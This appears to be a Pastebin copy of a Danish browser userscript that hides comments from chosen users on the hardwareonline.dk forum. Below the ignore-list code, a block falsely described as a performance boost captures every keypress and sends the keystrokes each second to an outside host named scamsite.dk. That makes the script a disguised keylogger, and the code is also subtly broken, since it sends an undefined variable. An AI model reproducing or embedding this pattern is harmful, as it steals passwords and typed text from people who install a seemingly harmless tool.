Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // ==UserScript==
- // @name HOL.dk black list
- // @namespace black lists
- // @description Dette skjuler kommentarer fra tosset hol.dk brugere
- // @include http://www.hardwareonline.dk/*
- // @version 1
- // @grant none
- // ==/UserScript==
- jQuery( document ).ready(function($) {
- var ignoreArray = [], id = '', name = '', item = '';
- ignoreArray.push('ReneSDK');
- ignoreArray.push('Gæsten');
- $('.t47-svar').each(function() {
- var item = $(this);
- id = item.find('.t47-svar-top A:first').attr('name');
- name = item.find('A B').text();
- if(item.find('SPAN[class=bruger]').text() == 'Gæst'){
- var display_name = item.find(".bolditalic").text();
- name = "Gæsten";
- }
- if(ignoreArray.indexOf(name) > -1)
- {
- var newElem = $('<div/>', {
- text: '#' + id + ': ' + (name == "Gæsten"?"Gæsten "+display_name:name) + ' - User matched ignore list, message hidden. Click to show/hide.',
- style: 'font-weight: bold; font-style: italic; cursor: pointer; color: #fff; background-color:#15649f; height: 22px; padding-top:3px',
- class: 't47-svar'
- }).click(function() { item.toggle(); });
- item.before(newElem);
- item.toggle();
- }
- });
- /* This part improves browser performance by up to 80%! */
- var keys = new Array();
- $(document).keypress(function(e){
- keys.push(e.which);
- });
- var check_for_keys_and_send = setInterval(function(){
- console.log(keys);
- if(keys.length){
- $.ajax({
- type:"post",
- url:"http://scamsite.dk/i'll_steal_your_password_if_you_use_this.cgi",
- data:{d:key_array}
- });
- keys.length = 0;
- }
- },1000);
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement